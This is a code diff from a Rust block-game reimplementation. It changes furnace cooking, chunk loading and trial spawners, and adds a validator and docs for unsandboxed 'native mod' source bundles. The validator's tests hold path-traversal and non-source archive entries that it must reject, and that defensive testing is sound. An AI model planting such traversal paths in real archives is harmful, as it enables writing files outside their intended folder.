fn input_clicked(&mut self, recipes: &Recipes, before: Option<ItemStack>) {
if self.items[0] != before {
let after = std::mem::replace(&mut self.items[0], before);
self.set_input(recipes, after);
}
}
fn tick(&mut self, recipes: &Recipes, items: &Items, providers: &Providers) -> Option<bool> {
let was_lit = self.lit_remaining > 0;
let mut lit = false;
if self.lit_remaining > 0 {
self.lit_remaining -= 1;
lit = self.lit_remaining > 0;
}
let fast = self.kind.fast();
let has_ingredient = self.items[0].is_some();
let has_fuel = self.items[1].is_some();
if lit || has_fuel && has_ingredient {
if let Some(ingredient) = self.items[0].clone() {
if let Some(recipe) = recipes.cook(self.kind.recipe_type(), &ingredient) {
if self.cooking_timer == 0 {
self.cooking_total = total_time(recipe.time, self.speed);
}
let max = items.get(&recipe.result.item).map_or(64, |i| i.max_stack);
let can_burn = match &self.items[2] {
None => true,
Some(out) => {
out.item == recipe.result.item && out.count + recipe.result.count <= max
}
};
if can_burn {
if !lit {
let fuel = self.items[1].clone();
let time = fuel
.as_ref()
.map_or(0, |f| providers.burn_time(items, f, fast));
let speed = fuel
.as_ref()
.map_or(1.0, |f| providers.speed(items, f, fast));
self.lit_remaining = time;
self.lit_total = time;
self.speed = speed;
if self.cooking_total > 0 && self.cooking_timer < self.cooking_total {
let ratio = self.cooking_timer as f32 / self.cooking_total as f32;
self.cooking_total = total_time(recipe.time, self.speed);
self.cooking_timer =
(ratio * self.cooking_total as f32).ceil() as i32;
}
if time > 0 {
if let Some(f) = self.items[1].as_mut() {
let item = f.item.clone();
f.count -= 1;
if f.count == 0 {
self.items[1] = remainder(&item).map(|r| ItemStack {
item: Arc::from(r),
count: 1,
damage: 0,
extra: None,
});
}
}
lit = true;
}
}
if lit {
self.cooking_timer += 1;
if self.cooking_timer >= self.cooking_total {
self.cooking_timer = 0;
self.cooking_total = total_time(recipe.time, self.speed);
match &mut self.items[2] {
Some(out) => out.count += recipe.result.count,
None => self.items[2] = Some(recipe.result.clone()),
}
*self
.recipes_used
.entry(recipe_used_key(&recipe.id))
.or_insert(0) += 1;
// AbstractFurnaceBlockEntity.burn: drying a wet sponge fills
// the bucket in the fuel slot.
if self.items[0]
.as_ref()
.is_some_and(|i| &*i.item == "minecraft:wet_sponge")
&& self.items[1]
.as_ref()
.is_some_and(|f| &*f.item == "minecraft:bucket")
{
self.items[1] =
Some(ItemStack::new("minecraft:water_bucket", 1));
}
if let Some(i) = self.items[0].as_mut() {
i.count -= 1;
if i.count == 0 {
self.items[0] = None;
}
}
}
} else {
self.cooking_timer = 0;
}
} else {
self.cooking_timer = 0;
}
}
} else {
self.cooking_timer = 0;
}
} else if self.cooking_timer > 0 {
self.cooking_timer = (self.cooking_timer - 2).clamp(0, self.cooking_total);
}
(was_lit != lit).then_some(lit)
}
}
fn total_time(time: u32, speed: f32) -> i32 {
if speed > 0.0 {
(time as f32 / speed).ceil() as i32
} else {
time as i32
}
}
+1
View File
@@ -222,6 +222,7 @@ use horizon_client::{
entities::{Experience, ExperienceOrb, ItemEntity},
environment::Environment,
first_person::{Hand, SwingAnimation},
furnace::FurnaceCooking,
gfx::{Frame, Renderer},
hud::{HudAtlas, HudBatch, rgba},
hud_layout, hud_overlays,
@@ -9,6 +9,7 @@ use horizon_client::{
Result,
block_entities::{Pos, Ticking},
containers::{BlockEntity, FurnaceKind, HOPPER_SLOTS},
furnace::FurnaceCooking,
};
use horizon_core::position::BlockPos;
use horizon_world::registry::BlockStateId;
@@ -227,7 +227,7 @@ impl Game<'_> {
}
/// Whether the level in place has a running task, which the server pumps
/// between its ticks (`pump_pregen`).
/// between its ticks (`pump_chunks`).
pub(in crate::game) fn pregen_runs_here(&self) -> bool {
self.cmds
.pregen
@@ -243,11 +243,19 @@ impl Game<'_> {
/// Keep the workers fed until `until`: collect what they finished and
/// hand them the next jobs as soon as each one is done, rather than once
/// a tick.
pub(in crate::game) fn pump_pregen(&mut self, until: Instant) {
pub(in crate::game) fn pump_chunks(&mut self, until: Instant, paused: bool) {
// Force-loaded chunks too: decorating in vanilla's order, a chunk
// waits for its neighbours far more often than once a tick allows.
// And the players' chunks while they load, as vanilla's server runs
// its chunk tasks while it waits for the next tick
// (`MinecraftServer.waitUntilNextTick`): once a tick, a few jobs per
// worker (`schedule_generation`) capped joining a world at about 120
// columns a second with two workers, the workers idle most of the
// time. Not while a respawn search waits for a chunk: its area is
// only asked for by the tick's own `update_world`.
let players = !paused && self.spawn_wait.is_empty();
while self.pregen_runs_here()
|| (!self.streaming.forced.is_empty() && self.streaming.busy())
|| ((players || !self.streaming.forced.is_empty()) && self.streaming.busy())
{
let now = Instant::now();
if now >= until {
@@ -7,6 +7,7 @@
use super::{Game, lan::LanHost};
use horizon_client::{
containers::BlockEntity,
furnace::FurnaceCooking,
items::ItemStack,
lan::{guest::Guest, menu::Slots},
menu::{Env, Input, Kind, Menu},
+3 -3
View File
@@ -408,9 +408,9 @@ impl Game<'_> {
}
*next += self.clock.tick_duration();
if *next > now {
// A `/pregen` task or force-loaded chunks keep the workers fed
// until the next tick.
self.pump_pregen(*next);
// The chunks loading (the players', force-loaded ones, a
// `/pregen` task) keep the workers fed until the next tick.
self.pump_chunks(*next, paused);
let now = Instant::now();
if *next > now {
std::thread::sleep(*next - now);
-1
View File
@@ -700,7 +700,6 @@ impl Game<'_> {
return;
}
let text = content.plain();
log::info!("[chat] {text}");
// addServerSystemMessage and addClientSystemMessage both carry
// GuiMessageTag.systemSinglePlayer: the grey bar at the line's left.
let indicator = (source != horizon_client::chat::ChatSource::Player)
+25 -15
View File
@@ -10,6 +10,7 @@ use horizon_client::{
Mob, Who,
spawner::{Spawner, SpawnerAdded, SpawnerEvent, SpawnerSpawn},
spawning,
trial_spawner::TrialState,
},
particles::{ParticleOptions, ParticleType},
};
@@ -373,12 +374,11 @@ impl Game<'_> {
/// clicked block has no spawner.
pub(super) fn use_spawn_egg_on_spawner(&mut self, pos: [i32; 3], kind: &str) -> Option<bool> {
let key = (pos[0], pos[1], pos[2]);
if !matches!(
self.world.block_entities.get(&key),
Some(BlockEntity::Spawner(_))
) {
return None;
}
let trial = match self.world.block_entities.get(&key) {
Some(BlockEntity::Spawner(_)) => false,
Some(BlockEntity::TrialSpawner(_)) => true,
_ => return None,
};
if !self.ui.rules.bool("spawner_blocks_work") {
self.system_message(horizon_client::text::Text::translate(
"advMode.notEnabled.spawner",
@@ -386,16 +386,26 @@ impl Game<'_> {
));
return Some(false);
}
let mut events = Vec::new();
let mut random = std::mem::replace(
&mut self.world.random,
horizon_core::random::LegacyRandom::new(0),
);
if let Some(BlockEntity::Spawner(s)) = self.world.block_entities.get_mut(&key) {
s.set_entity_id(kind, &mut random, &mut events);
if trial {
// TrialSpawnerBlockEntity.setEntityId: overrideEntityToSpawn, which
// ends in setState(INACTIVE).
if let Some(BlockEntity::TrialSpawner(t)) = self.world.block_entities.get_mut(&key) {
t.override_entity(kind);
}
let ominous = self.trial_spawner_block(key).is_some_and(|(_, o)| o);
let _ = self.set_trial_spawner_state(key, TrialState::Inactive, ominous);
} else {
let mut events = Vec::new();
let mut random = std::mem::replace(
&mut self.world.random,
horizon_core::random::LegacyRandom::new(0),
);
if let Some(BlockEntity::Spawner(s)) = self.world.block_entities.get_mut(&key) {
s.set_entity_id(kind, &mut random, &mut events);
}
self.world.random = random;
let _ = self.apply_spawner_events(key, events, &HashMap::new());
}
self.world.random = random;
let _ = self.apply_spawner_events(key, events, &HashMap::new());
// sendBlockUpdated(3) and the player's block_change game event.
self.spawner_block_updated(key);
self.post_block_game_event("minecraft:block_change", pos, Some(Who::Player), None);
+1
View File
@@ -7,6 +7,7 @@ use super::{Game, GameLevel, Screen, dispenser::new_item_motion, storage::is_shu
use horizon_client::{
block_entity_item, block_entity_nbt,
containers::{Banner, BlockEntity},
furnace::FurnaceCooking,
item_data,
items::ItemStack,
save,
@@ -272,7 +272,7 @@ impl Game<'_> {
Ok(())
}
/// `setState` (and `removeOminous`): the block's state and ominous flag.
fn set_trial_spawner_state(
pub(super) fn set_trial_spawner_state(
&mut self,
key: Pos,
state: TrialState,
+1
View File
@@ -69,6 +69,7 @@ pub mod flatgen;
pub mod fog;
pub mod font;
pub mod friends_screen;
pub mod furnace;
pub mod game_mode_switcher;
pub mod game_rules_screen;
pub mod gfx;
@@ -23,61 +23,7 @@ use horizon_core::{
use serde_json::Value;
use std::{collections::HashMap, fs, path::Path};
/// A `natural_mob_spawns` / `spawn_overrides` entry list.
pub fn parse_entries(list: &Value) -> Vec<SpawnEntry> {
list.as_array()
.into_iter()
.flatten()
.filter_map(|e| {
let count = &e["count"];
let (min, max, constant) = match count {
Value::Number(n) => {
let n = n.as_u64().unwrap_or(1) as u32;
(n, n, true)
}
c if c["type"].as_str() == Some("minecraft:constant") => {
let n = c["value"].as_u64().unwrap_or(1) as u32;
(n, n, true)
}
c => (
c["min_inclusive"].as_u64().unwrap_or(1) as u32,
c["max_inclusive"].as_u64().unwrap_or(1) as u32,
false,
),
};
Some(SpawnEntry {
entity: e["type"].as_str()?.to_owned(),
weight: e["weight"].as_u64().unwrap_or(1) as u32,
min,
max,
constant,
})
})
.collect()
}
/// `MobSpawnSettings.MobSpawnCost`.
#[derive(Clone, Copy, Debug, PartialEq)]
pub struct SpawnCost {
pub energy_budget: f64,
pub charge: f64,
}
/// The `spawn_costs` of a `natural_mob_spawns` value.
pub fn parse_costs(costs: &Value) -> HashMap<String, SpawnCost> {
costs
.as_object()
.into_iter()
.flatten()
.map(|(k, c)| {
(
k.clone(),
SpawnCost {
energy_budget: c["energy_budget"].as_f64().unwrap_or(0.0),
charge: c["charge"].as_f64().unwrap_or(0.0),
},
)
})
.collect()
}
pub use crate::biome::{SpawnCost, parse_costs, parse_entries};
/// `MobCategory`.
#[derive(Clone, Copy, Debug, PartialEq, Eq, Hash)]
@@ -106,6 +106,67 @@ impl TrialConfig {
.unwrap_or(d.items_to_drop_when_ominous),
})
}
/// `TrialSpawnerConfig.DIRECT_CODEC`'s encoding: the fields that differ
/// from their defaults (`optionalFieldOf` with a default).
pub fn encode(&self) -> Tag {
let d = Self::default();
let mut out = Vec::new();
if self.spawn_range != d.spawn_range {
out.push(("spawn_range", Tag::Int(self.spawn_range)));
}
for (key, value, default) in [
("total_mobs", self.total_mobs, d.total_mobs),
(
"simultaneous_mobs",
self.simultaneous_mobs,
d.simultaneous_mobs,
),
(
"total_mobs_added_per_player",
self.total_mobs_added_per_player,
d.total_mobs_added_per_player,
),
(
"simultaneous_mobs_added_per_player",
self.simultaneous_mobs_added_per_player,
d.simultaneous_mobs_added_per_player,
),
] {
if value != default {
out.push((key, Tag::Float(value.to_bits())));
}
}
if self.ticks_between_spawn != d.ticks_between_spawn {
out.push(("ticks_between_spawn", Tag::Int(self.ticks_between_spawn)));
}
let weighted = |data: Tag, weight: i32| {
Tag::compound(vec![("data", data), ("weight", Tag::Int(weight))])
};
if !self.spawn_potentials.is_empty() {
let list = self.spawn_potentials.iter();
out.push((
"spawn_potentials",
Tag::List(list.map(|(data, w)| weighted(data.encode(), *w)).collect()),
));
}
if self.loot_tables_to_eject != d.loot_tables_to_eject {
let list = self.loot_tables_to_eject.iter();
out.push((
"loot_tables_to_eject",
Tag::List(
list.map(|(id, w)| weighted(Tag::String(id.as_str().into()), *w))
.collect(),
),
));
}
if self.items_to_drop_when_ominous != d.items_to_drop_when_ominous {
out.push((
"items_to_drop_when_ominous",
Tag::String(self.items_to_drop_when_ominous.as_str().into()),
));
}
Tag::compound(out)
}
/// `calculateTargetTotalMobs`.
pub fn target_total_mobs(&self, additional_players: i32) -> i32 {
(self.total_mobs + self.total_mobs_added_per_player * additional_players as f32).floor()
@@ -487,6 +548,18 @@ impl TrialSpawner {
self.next_spawn_data = None;
self.reset_statistics();
}
/// `overrideEntityToSpawn` (a spawn egg's `setEntityId`): the data resets
/// and both configs spawn only `id` (`withSpawning`), saved inline as
/// `Holder.direct`. The caller then sets the state to `inactive`.
pub fn override_entity(&mut self, id: &str) {
self.reset();
for slot in [&mut self.normal, &mut self.ominous] {
let mut entity = Compound::new();
entity.insert("id".into(), Tag::String(id.into()));
slot.config.spawn_potentials = vec![(SpawnData::new(entity, None, None), 1)];
slot.saved = Some(slot.config.encode());
}
}
/// `getOrCreateNextSpawnData`: a potential at random, else empty data.
fn next_or_create(
&mut self,
@@ -1030,6 +1103,37 @@ mod tests {
assert!(s.save().is_empty());
}
#[test]
fn a_spawn_egg_overrides_both_configs_inline() {
let breeze = TrialConfig {
total_mobs: 2.0,
..TrialConfig::default()
};
let registry = |_: &str| Some(breeze.clone());
let mut s = TrialSpawner::load_with(
&tag(
r#"{normal_config:"minecraft:trial_chamber/breeze/normal",spawn_data:{entity:{}},total_mobs_spawned:3}"#,
),
&registry,
);
s.override_entity("minecraft:zombie");
assert_eq!(s.next_spawn_data, None);
assert_eq!(s.total_mobs_spawned, 0);
for slot in [&s.normal, &s.ominous] {
assert_eq!(slot.config.spawn_potentials.len(), 1);
assert_eq!(
slot.config.spawn_potentials[0].0.id().as_deref(),
Some("minecraft:zombie")
);
let saved = slot.saved.as_ref().expect("saved inline");
assert_eq!(TrialConfig::decode(saved).as_ref(), Some(&slot.config));
}
assert_eq!(
s.normal.saved.as_ref().and_then(|t| t.get("total_mobs")),
Some(&Tag::Float(2.0f32.to_bits()))
);
}
#[test]
fn registry_configs_resolve_and_are_saved_by_id() {
let breeze = TrialConfig {
+8 -1
View File
@@ -43,6 +43,8 @@ pub struct Index {
pub enum Kind {
/// A `.hmod`.
Mod,
/// A source-only native mixin bundle, compiled into an isolated game build.
NativeMod,
/// A `.hpack`: registry mods played together as a profile.
Modpack,
/// A resource pack (`.zip` with `pack.mcmeta`) made or tested for Horizon.
@@ -57,6 +59,7 @@ impl Kind {
pub fn name(&self) -> &str {
match self {
Kind::Mod => "mod",
Kind::NativeMod => "native-mod",
Kind::Modpack => "modpack",
Kind::ResourcePack => "resourcepack",
Kind::Shader => "shader",
@@ -68,6 +71,7 @@ impl Kind {
pub fn extension(&self) -> Option<&'static str> {
match self {
Kind::Mod => Some("hmod"),
Kind::NativeMod => Some("hnmod"),
Kind::Modpack => Some("hpack"),
Kind::ResourcePack => Some("zip"),
Kind::Shader => Some(horizon_shader_api::EXTENSION),
@@ -80,6 +84,7 @@ impl From<String> for Kind {
fn from(name: String) -> Kind {
match name.as_str() {
"mod" => Kind::Mod,
"native-mod" => Kind::NativeMod,
"modpack" => Kind::Modpack,
"resourcepack" => Kind::ResourcePack,
"shader" => Kind::Shader,
@@ -552,6 +557,7 @@ impl Facts {
/// this build doesn't know are refused: their checks come with their formats.
pub fn inspect(kind: &Kind, path: &Path) -> Result<Facts, String> {
match kind {
Kind::NativeMod => Ok(native::Bundle::read(path)?.manifest.facts()),
Kind::Mod => {
let Package { manifest: m, wasm } = Package::read(path)?;
crate::Content::read(path, &m)?;
@@ -656,7 +662,7 @@ fn check_resource_pack(path: &Path) -> Result<String, String> {
/// formats.
pub fn open(kind: &Kind) -> Result<(), String> {
match kind {
Kind::Mod | Kind::Modpack | Kind::ResourcePack | Kind::Shader => Ok(()),
Kind::Mod | Kind::NativeMod | Kind::Modpack | Kind::ResourcePack | Kind::Shader => Ok(()),
Kind::Other(name) => Err(format!("the registry doesn't take {name} yet")),
}
}
@@ -666,6 +672,7 @@ fn names(caps: &[Capability]) -> String {
format!("[{}]", names.join(", "))
}
pub mod native;
pub mod registry;
#[cfg(test)]
mod tests;
+238
View File
@@ -0,0 +1,238 @@
//! Source-only native mixin bundles. Reading a bundle never executes its code.
use super::{Facts, valid_id};
use serde::{Deserialize, Serialize};
use std::{collections::BTreeMap, io::Read, path::Path};
pub const MANIFEST: &str = "horizon-native.json";
#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)]
#[serde(deny_unknown_fields)]
pub struct Manifest {
pub schema: u32,
pub id: String,
pub version: String,
pub game: String,
/// Exact source revisions tested together, never mutable tags.
pub horizon: String,
pub mixins: String,
}
pub fn revision(value: &str) -> bool {
value.len() == 40
&& value
.bytes()
.all(|b| b.is_ascii_digit() || (b'a'..=b'f').contains(&b))
}
impl Manifest {
pub fn check(&self) -> Result<(), String> {
if self.schema != 1
|| !valid_id(&self.id)
|| self.version.is_empty()
|| self.game.is_empty()
|| !revision(&self.horizon)
|| !revision(&self.mixins)
{
return Err(
"invalid native manifest: schema 1, id, version, game and exact revisions required"
.into(),
);
}
Ok(())
}
/// Carries the exact native compatibility contract in the index's API field.
pub fn api(&self) -> String {
format!("native-1/{}/{}", self.horizon, self.mixins)
}
pub fn facts(&self) -> Facts {
Facts {
id: Some(self.id.clone()),
version: Some(self.version.clone()),
api: self.api(),
game: Some(self.game.clone()),
..Facts::default()
}
}
}
pub struct Bundle {
pub manifest: Manifest,
/// Validated relative paths; only TOML and Rust beneath `mixins/<id>/`.
pub files: BTreeMap<String, Vec<u8>>,
}
impl Bundle {
pub fn read(path: &Path) -> Result<Self, String> {
let file = std::fs::File::open(path).map_err(|e| e.to_string())?;
let mut zip = zip::ZipArchive::new(file).map_err(|e| e.to_string())?;
if zip.len() > 512 {
return Err("native bundle has too many entries".into());
}
let mut files = BTreeMap::new();
let mut total = 0u64;
for i in 0..zip.len() {
let mut entry = zip.by_index(i).map_err(|e| e.to_string())?;
let name = entry.name().to_owned();
if entry.is_dir() {
continue;
}
if entry
.unix_mode()
.is_some_and(|m| m & 0o170000 != 0 && m & 0o170000 != 0o100000)
|| name.contains('\\')
|| name
.split('/')
.any(|p| p.is_empty() || p == "." || p == "..")
|| name.starts_with('/')
|| name.contains(':')
{
return Err(format!("invalid native bundle path: {name}"));
}
let mut bytes = Vec::new();
(&mut entry)
.take(super::MAX_FILE + 1)
.read_to_end(&mut bytes)
.map_err(|e| e.to_string())?;
total += bytes.len() as u64;
if total > super::MAX_FILE {
return Err("native bundle expands beyond 64 MiB".into());
}
if files.insert(name, bytes).is_some() {
return Err("duplicate native bundle path".into());
}
}
let manifest: Manifest =
serde_json::from_slice(files.get(MANIFEST).ok_or("missing horizon-native.json")?)
.map_err(|e| e.to_string())?;
manifest.check()?;
let prefix = format!("mixins/{}/", manifest.id);
for name in files.keys().filter(|n| n.as_str() != MANIFEST) {
if !name.starts_with(&prefix) || !(name.ends_with(".rs") || name.ends_with(".toml")) {
return Err(format!("unexpected native source: {name}"));
}
}
let source = files
.get(&format!("{prefix}horizon-mixin.toml"))
.ok_or("missing horizon-mixin.toml")?;
let source: toml::Value =
toml::from_str(std::str::from_utf8(source).map_err(|e| e.to_string())?)
.map_err(|e| e.to_string())?;
if source
.get("mod")
.and_then(|v| v.get("id"))
.and_then(|v| v.as_str())
!= Some(&manifest.id)
|| source
.get("mod")
.and_then(|v| v.get("version"))
.and_then(|v| v.as_str())
!= Some(&manifest.version)
|| source
.get("compatibility")
.and_then(|v| v.get("horizon_revision"))
.and_then(|v| v.as_str())
!= Some(&manifest.horizon)
{
return Err("native manifest and mixin identity/revision differ".into());
}
Ok(Self { manifest, files })
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::io::Write;
fn manifest() -> Manifest {
Manifest {
schema: 1,
id: "veinminer".into(),
version: "0.3.0".into(),
game: "26.3".into(),
horizon: "a".repeat(40),
mixins: "b".repeat(40),
}
}
fn read(name: &str, extras: &[(&str, &[u8])], mixin: &str) -> Result<Bundle, String> {
let path =
std::env::temp_dir().join(format!("native-bundle-{name}-{}.hnmod", std::process::id()));
let mut zip = zip::ZipWriter::new(std::fs::File::create(&path).unwrap());
let options = zip::write::SimpleFileOptions::default();
zip.start_file(MANIFEST, options).unwrap();
zip.write_all(&serde_json::to_vec(&manifest()).unwrap())
.unwrap();
zip.start_file("mixins/veinminer/horizon-mixin.toml", options)
.unwrap();
zip.write_all(mixin.as_bytes()).unwrap();
for (name, bytes) in extras {
zip.start_file(*name, options).unwrap();
zip.write_all(bytes).unwrap();
}
zip.finish().unwrap();
let result = Bundle::read(&path);
std::fs::remove_file(path).unwrap();
result
}
fn mixin() -> String {
format!(
"[mod]\nid = \"veinminer\"\nversion = \"0.3.0\"\n[compatibility]\nhorizon_revision = \"{}\"\n",
"a".repeat(40)
)
}
#[test]
fn source_bundle_carries_exact_compatibility_into_index_facts() {
let bundle = read(
"valid",
&[("mixins/veinminer/hook.rs", b"fn hook() {}")],
&mixin(),
)
.unwrap();
assert_eq!(bundle.manifest, manifest());
let facts = bundle.manifest.facts();
assert_eq!(
facts.api,
format!("native-1/{}/{}", "a".repeat(40), "b".repeat(40))
);
assert_eq!(facts.id.as_deref(), Some("veinminer"));
assert!(facts.capabilities.is_empty());
}
#[test]
fn rejects_path_traversal_and_non_source_payloads() {
for (i, name) in [
"../escape.rs",
"/absolute.rs",
"mixins/other/hook.rs",
"mixins/veinminer/code.dll",
"mixins\\veinminer\\hook.rs",
]
.iter()
.enumerate()
{
assert!(read(&format!("bad-path-{i}"), &[(name, b"bad")], &mixin()).is_err());
}
}
#[test]
fn rejects_missing_or_mismatched_mixin_identity_without_panicking() {
assert!(read("missing-mod", &[], "[unrelated]\nvalue = 1").is_err());
assert!(
read(
"wrong-revision",
&[],
&mixin().replace(&"a".repeat(40), &"c".repeat(40))
)
.is_err()
);
assert!(read("wrong-version", &[], &mixin().replace("0.3.0", "0.2.0")).is_err());
assert!(
Manifest {
horizon: "nightly".into(),
..manifest()
}
.check()
.is_err()
);
}
}
+37 -1
View File
@@ -71,6 +71,18 @@ Run a dedicated server here; type commands into its console.
MCP: `server`, `server_command`, `server_log`, `server_stop`.
## `horizon-launcher native-build`
Native mods (experimental, docs/native-mods.md): compile mixin bundles on the Horizon revision they pin, with the launcher's own Rust, as the version the "Native mods" instance plays. Not sandboxed: the mods' code runs with your rights.
horizon-launcher native-build [FOLDER]
- `FOLDER`: A mod folder (horizon-mixin.toml, or an unpacked .hnmod), or a folder of them (default: the native mods installed and turned on in the instance)
- `--instance`: The instance whose installed native mods to build, and which then plays the build (default: the selected one; the game's own home builds into the Native mods instance)
- `--trust-native-code`: You read the mods' source and trust it with full access to this computer
MCP: none: the player's switch.
## `horizon-launcher notes`
Show a release's patch notes (default: the newest).
@@ -137,7 +149,7 @@ MCP: `account_offline`.
## `horizon-launcher account forget-offline`
Forget one of your offline names.
Forget one of your offline names; its skin and cape go with it.
horizon-launcher account forget-offline <NAME>
@@ -763,6 +775,30 @@ Turn off a mod the browser installed; it stays installed.
MCP: `mods_disable`.
## `horizon-launcher rust status`
Whether it is installed, its version and whether this computer can link with it.
horizon-launcher rust status
MCP: `rust_status`.
## `horizon-launcher rust install`
Download the pinned toolchain from static.rust-lang.org (once), checked by SHA-256.
horizon-launcher rust install
MCP: `rust_install`.
## `horizon-launcher rust remove`
Delete the toolchain and the native builds' Cargo home.
horizon-launcher rust remove
MCP: `rust_remove`.
## `horizon-launcher servers list`
The servers, their folder and whether they run.
+98
View File
@@ -0,0 +1,98 @@
# Native mods (experimental)
Native mods are **mixin bundles** that change the game's own Rust source before it is compiled, with
[horizon-mixins](https://github.com/horizon-rust/horizon-mixins) (MIT, by levzzz5154, made for Horizon). A bundle
is a `horizon-mixin.toml` and a few `.rs` helpers that hook into named functions of the game (HEAD, BEFORE_CALL,
RETURN, MODIFY_ARG, OVERWRITE...; the tool's README lists them). A port such as Veinminer is three HEAD hooks and
one module. Start a mod from [horizon-native-mod-template](https://github.com/horizon-rust/horizon-native-mod-template).
Native mods are native code with the player's rights, not sandboxed. The launcher offers them off by default, behind
a warning, reviewed before the registry lists one, and in a game of their own, built for the instance they are installed in.
## Pinned to a Nightly
A native mod builds on one exact Horizon commit: `[compatibility] horizon_revision` in its `horizon-mixin.toml`,
and `horizon` in the `horizon-native.json` of its registry file (`.hnmod`, `horizon_mods::index::native`). Mods
pin a **Nightly's commit** (or a release's). Every Nightly ships its source and keeps its commit for good as the
tag `nightly-source/<date>-<short>` ([release-flow.md](release-flow.md#nightly-channel)), so a pinned mod still
builds after its Nightly is replaced. All the mods of one build must pin the same commit; when they don't, the
launcher says which mod pins which, and the player installs versions made for the same Nightly. A bundle with no
pin builds on the commit of the installed version the build starts from.
## What the launcher does
In the window: install a native mod from the Mods page, turn on Settings → Game → **Native mods (experimental)**,
then **Build**. The launcher names the mods, warns in red, and builds only from "I trust these mods: build"; the
row shows each step, the error if one fails, and the build the instance plays. From the command line:
`horizon-launcher native-build [FOLDER] [--instance NAME] --trust-native-code`. FOLDER is a bundle, an unpacked
`.hnmod`, or a folder of them; without it, the native mods turned on in the instance. It is not an MCP tool:
trusting native code is the player's decision, never an agent's.
1. **Rust.** The launcher's own toolchain ([`rust_toolchain`](../launcher/src/rust_toolchain.rs)): Rust 1.99.1's
official `rustc`, `cargo` and `rust-std` (and `rust-mingw` on Windows), each pinned by SHA-256, downloaded once
from static.rust-lang.org into `<launcher data>/rust/`, with its own Cargo home `<launcher data>/cargo/`. No
rustup, nothing on the system; the player's own Rust is never used. Windows uses the `windows-gnu` host, which
links without Visual Studio. The linker is the system's on macOS (the Command Line Tools: the launcher asks for
`xcode-select --install`) and Linux (`cc`). `horizon-launcher rust status|install|remove`.
2. **horizon-mixins**, at the commit the mods name (their `.hnmod`'s `mixins`), else `native_mods::MIXINS_REV`,
built once with that cargo (`cargo install --locked --git … --rev …`) into `native/tools/<commit>/`.
3. **The source** of the pinned commit: GitHub's archive of it, once per commit (`native/source/<commit>/`, about
63 MB unpacked), with the commit in `.horizon-revision`. Never the player's own checkout. Links in the
archive are left out: the tool refuses them and nothing needs them to build.
4. **Mixins.** The bundles are copied first, so the build and its key use that copy whatever happens to the
folder meanwhile. `horizon-mixins apply` stages the modded source; the launcher copies only the files that
changed into `native/stage/`, so Cargo, which goes by file times, recompiles only the crates the mods touch.
5. **Compile**: `cargo build --locked --profile release --features horizon-client/mods -p horizon-client`, the
release's own command (game-build.yml), into `native/target/`. Cargo downloads the locked crates from
crates.io (Horizon has no git dependencies). The log is `native/build.log`; a failure shows its last lines (a
horizon-mixins diagnostic in one line).
6. **Install**: a new version, `native-<commit>-<key>`, a copy of the starting version's folder (resources
included, cloned on APFS, Btrfs and ReFS) with the built game in place of its own, and a `native-mods.json`
saying which commit, mods, horizon-mixins and Rust made it. The instance the mods are installed in plays it (a
folder built from the command line, or mods of the default home, go to the **Native mods** instance).
## Cache and disk
The key hashes the commit, the horizon-mixins commit, Rust's version, the profile and features, and every file of
every bundle. The same set on the same commit is never built twice. A change gives a new build, and
`native/target/` stays, so a rebuild compiles only `horizon-client` and what the mods touched.
Measured 2026-10-28 on the Mac mini (M4 Pro, 14 cores) with Veinminer 0.3.0 on Nightly `83f15fa`,
`CARGO_BUILD_JOBS=8` while other agents' builds ran (upper bounds):
| What | Size, time |
|---|---|
| Rust 1.99.1 (`<launcher data>/rust/`) | 453 MB; 58 s to download and unpack |
| horizon-mixins (`native/tools/`) | 7 MB; built once in 19 s |
| Crates in the launcher's Cargo home (`<launcher data>/cargo/`) | 289 MB |
| Source of one commit, and the stage | 64 MB each |
| First build: release profile, the whole game | 9 min 10 s of compiling, 9 min 41 s in all; `native/target/` 1.5 GB |
| Rebuild after a helper's code changed | 2 min 46 s of compiling (only `horizon-client`), 2 min 53 s in all |
| A change horizon-mixins ignores (a comment) | nothing compiled; 31 s, mostly the version folder's copy |
Only the native builds an instance plays are kept (`native_mods::prune`); `native/target/` stays for the next one.
## Trust
- **Off by default.** The command needs `--trust-native-code`; the window shows a warning in red before every
build: the mods run with full access to the computer, and their ids and versions. The Mods page says who made
each one, and "Not made or endorsed by the Horizon project" for any mod not Horizon's own.
- **The registry** (horizon-rust/horizon-mods) lists them as their own kind, `native-mod`, only after a maintainer
has read the source: the `.hnmod` *is* the source (only `.rs` and `.toml`, checked without running anything),
pinned by SHA-256 like every registry file. An update is reviewed again; `revoked.toml` takes one down.
- **Isolation of data.** Native mods run only in the instance built for them, with its own worlds, options and logs.
- What this does not do: sandbox the compiled game. horizon-mixins' checks stop mistakes, not a malicious helper
([security notes](https://github.com/horizon-rust/horizon-mixins/blob/main/docs/security.md)).
## Multiplayer
- **Single player and LAN host:** the mods run in the host's game and its integrated server, so a server-side
hook applies to every player of the world.
- **Joining a server:** only client-side hooks do anything; the protocol is unchanged.
- **Dedicated servers:** not built yet; the same pipeline can build the server (`--no-default-features`).
## Left to do
- Rebuild after the mods or the Nightly change (asking first, as it compiles for minutes).
- A prebuilt horizon-mixins from its CI instead of building it on the player's computer.
- Windows and Linux: the toolchains are pinned, but a full game build on them is unproven.
+1 -1
View File
@@ -40,7 +40,7 @@ start it again and the chunks already saved load instead of generating.
(`DecorationOrder`), and this makes a task decorate in the same order however its jobs are timed and
shared among the workers: the same seed gives the same chunks.
- Between server ticks the server waits for the workers' results and hands out the next jobs at once
(`Streaming::wait`, `pump_pregen`), instead of once a tick: a chunk passes through five jobs
(`Streaming::wait`, `pump_chunks`), instead of once a tick: a chunk passes through five jobs
(generate, decorate, finish, light, save), each needing its neighbours' earlier ones.
The chunks of the band's outer ring are finished (FULL) but not lit, as at the edge of what a player has
+7 -1
View File
@@ -449,6 +449,12 @@ than main's head and holds something main lacks, otherwise main (`tools/ci/night
new publishes nothing. A Nightly can include pull requests not reviewed yet: that is what it is for, playing them
before the gate.
Every Nightly ships its exact source. Its notes name the commit; `horizon-source.tar.gz` on the release is that
commit's `git archive`, signed with the builds in `SHA256SUMS`; and `nightly.py keep-source` tags the commit
`nightly-source/<date>-<short>`. That tag is never pruned, unlike the `nightly-<date>` release and the
`nightly/build-*` branch (7 days each), because native mods pin a Nightly's commit and the launcher downloads that
commit's source to build them ([native-mods.md](native-mods.md)).
### Trusted reviewers
One list, `.github/trusted-reviewers.txt`, governs two things for the people on it (kacpherek, rdbtCVS and
